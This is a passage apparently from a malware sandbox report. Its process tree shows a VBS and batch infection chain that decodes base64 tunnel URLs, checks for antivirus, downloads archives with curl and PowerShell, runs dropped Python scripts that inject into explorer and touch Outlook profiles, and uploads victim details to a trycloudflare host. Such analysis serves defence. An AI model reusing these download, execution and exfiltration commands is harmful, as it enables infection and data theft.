        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Documents\MergeSuspend.pdf"
        6⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies Internet Explorer settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4680
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3296
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0D6FA5D1131761CEA282EB2593BCFBF9 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4252
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=A57FDB5B8C5E50D9791907DBD8B36D64 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=A57FDB5B8C5E50D9791907DBD8B36D64 --renderer-client-id=2 --mojo-platform-channel-handle=1760 --allow-no-sandbox-job /prefetch:1
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:804
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=60A0A0C3A869AA6F21DF1E455B0FD30D --mojo-platform-channel-handle=2312 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2584
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F154C606892D9E01EE66457FFB666350 --mojo-platform-channel-handle=1928 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3108
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D752EE230E815964188A96D2B6741DB8 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2412
      - C:\Windows\system32\timeout.exe
        
        timeout /t 2
        6⤵
        Delays execution with timeout.exe
        
        PID:1876
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$data = '[=== v3 START===]`n[i] AV: None`n[i] Computer: JWUHOPEY`n[i] Username: Admin`n[i] IP: Unknown`n[i] Location: Unknown`n[i] Date & Time: Thu 04/23/2026 16:50:25.73`n[i] PDF Found: C:\Users\Admin\Documents\MergeSuspend.pdf`n[i] Opening PDF...`n[i] PDF processed`n[i] Script completed' -replace '`n', [Environment]::NewLine; $bytes = [System.Text.Encoding]::UTF8.GetBytes($data); $webclient = New-Object System.Net.WebClient; $webclient.UploadData('https://discretion-barrel-formed-vault.trycloudflare.com/logs/JWUHOPEY_Admin_Thu_04_23_2026_16_50_33.15.log', 'PUT', $bytes)"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2492
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\Contacts\ff1_das.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\Contacts\das.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\Contacts\das.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3456
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\Contacts\das.bat" hidden
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3012
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9jb2xpbi12aWRzLWNpcmN1bGF0aW9uLWhhcnBlci50cnljbG91ZGZsYXJlLmNvbQ=='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9jb2xpbi12aWRzLWNpcmN1bGF0aW9uLWhhcnBlci50cnljbG91ZGZsYXJlLmNvbQ=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:744
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('VXBUb0RhdGUudHh0'))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('VXBUb0RhdGUudHh0'))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4928
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxMy5kb2g='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxMy5kb2g='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2068
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxM1NCLmZkbg=='))"
        6⤵
        
        PID:3640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxM1NCLmZkbg=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4172
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHl0aG9uMzEzLnNkbQ=='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHl0aG9uMzEzLnNkbQ=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1368
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AvastUI.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256
      - C:\Windows\system32\find.exe
        
        find /i "AvastUI.exe"
        6⤵
        
        PID:2180
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AvastSvc.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3268
      - C:\Windows\system32\find.exe
        
        find /i "AvastSvc.exe"
        6⤵
        
        PID:2852
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq avgui.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1796
      - C:\Windows\system32\find.exe
        
        find /i "avgui.exe"
        6⤵
        
        PID:2912
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AVGSvc.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3804
      - C:\Windows\system32\find.exe
        
        find /i "AVGSvc.exe"
        6⤵
        
        PID:468
      - C:\Windows\system32\where.exe
        
        where curl
        6⤵
        
        PID:3112
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\3DGLXSX.zip" "https://colin-vids-circulation-harper.trycloudflare.com/APRWEL1313.doh"
        6⤵
        
        PID:4024
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -C "IWR -Uri 'https://colin-vids-circulation-harper.trycloudflare.com/APRWEL1313.doh' -OutFile 'C:\Users\Admin\Contacts\Exodus\3DGLXSX.zip'"
        6⤵
        Badlisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\2DGLXSX.zip" "https://colin-vids-circulation-harper.trycloudflare.com/APRWEL1313SB.fdn"
        6⤵
        
        PID:2288
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\PDPGLXSX.zip" "https://colin-vids-circulation-harper.trycloudflare.com/python313.sdm"
        6⤵
        
        PID:3636
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\GSQPX3Y.ssd" "https://colin-vids-circulation-harper.trycloudflare.com/UpToDate.txt"
        6⤵
        
        PID:3136
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:4144
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\3DGLXSX.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync\Callup"
        6⤵
        
        PID:1928
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:1660
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\2DGLXSX.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync\ShareX"
        6⤵
        
        PID:2976
      - C:\Windows\system32\timeout.exe
        
        timeout /t 20 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:3036
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:3508
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\PDPGLXSX.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync"
        6⤵
        
        PID:2872
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:2620
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:2848
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\MARch[092]ntp.py"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of WriteProcessMemory
        
        PID:4476
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:2236
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\PL5[092]exp.py"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1124
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        outlook_office_path
        outlook_win_path
        
        PID:560
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz"
        8⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:3292
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffd1b3cc728,0x7ffd1b3cc734,0x7ffd1b3cc740
        9⤵
        
        PID:2492
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1660,i,8089528578994378958,3500794978664339072,262144 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:2
        9⤵
        
        PID:3964
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --force-high-res-timeticks=disabled --metrics-shmem-handle=2016,i,2833918819402844418,13255927131599908735,524288 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=2012 /prefetch:3
        9⤵
        System Time Discovery
        
        PID:860
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --force-high-res-timeticks=disabled --metrics-shmem-handle=2144,i,9732315166144139297,8907503639645628417,524288 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=2260 /prefetch:8
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4416
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2968,i,10746465140698068413,11459654120934868116,2097152 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:1
        9⤵
        
        PID:1228
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2980,i,12231326560189079094,8930148175421761465,2097152 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=3012 /prefetch:1
        9⤵
        
        PID:456
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3372,i,15250400927116910813,11240512598324585305,2097152 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2560
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3396,i,1205947344315139519,17310191531892760970,2097152 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:2
        9⤵
        
        PID:2484
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4092,i,9810746805795339658,5486833131200198564,2097152 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=4100 /prefetch:2
        9⤵
        
        PID:4352
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4124,i,9530778372266422633,9233304780121790653,2097152 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:1
        9⤵
        
        PID:4128
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --force-high-res-timeticks=disabled --metrics-shmem-handle=4196,i,2368546088053249497,16309237157840113606,524288 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:8
        9⤵
        
        PID:3496
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --force-high-res-timeticks=disabled --metrics-shmem-handle=4288,i,1378716269731165072,8203890981379031255,524288 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=3868 /prefetch:8
        9⤵
        
        PID:1984
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\b4pwwh1b.hfz" --force-high-res-timeticks=disabled --metrics-shmem-handle=4328,i,14681508502494418250,492555016857318960,524288 --field-trial-handle=1956,i,14325884305965587947,607279111480330930,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:8
        9⤵
        
        PID:3180
      - C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:2756
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:7060
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:5516
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:6264
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:6096
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:5592
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:5484
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:5744
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:6160
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\ACSRE[92]exp.py"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6280
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:5540
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:3600
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:6460
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:6456
      - C:\Windows\system32\cmd.exe
        
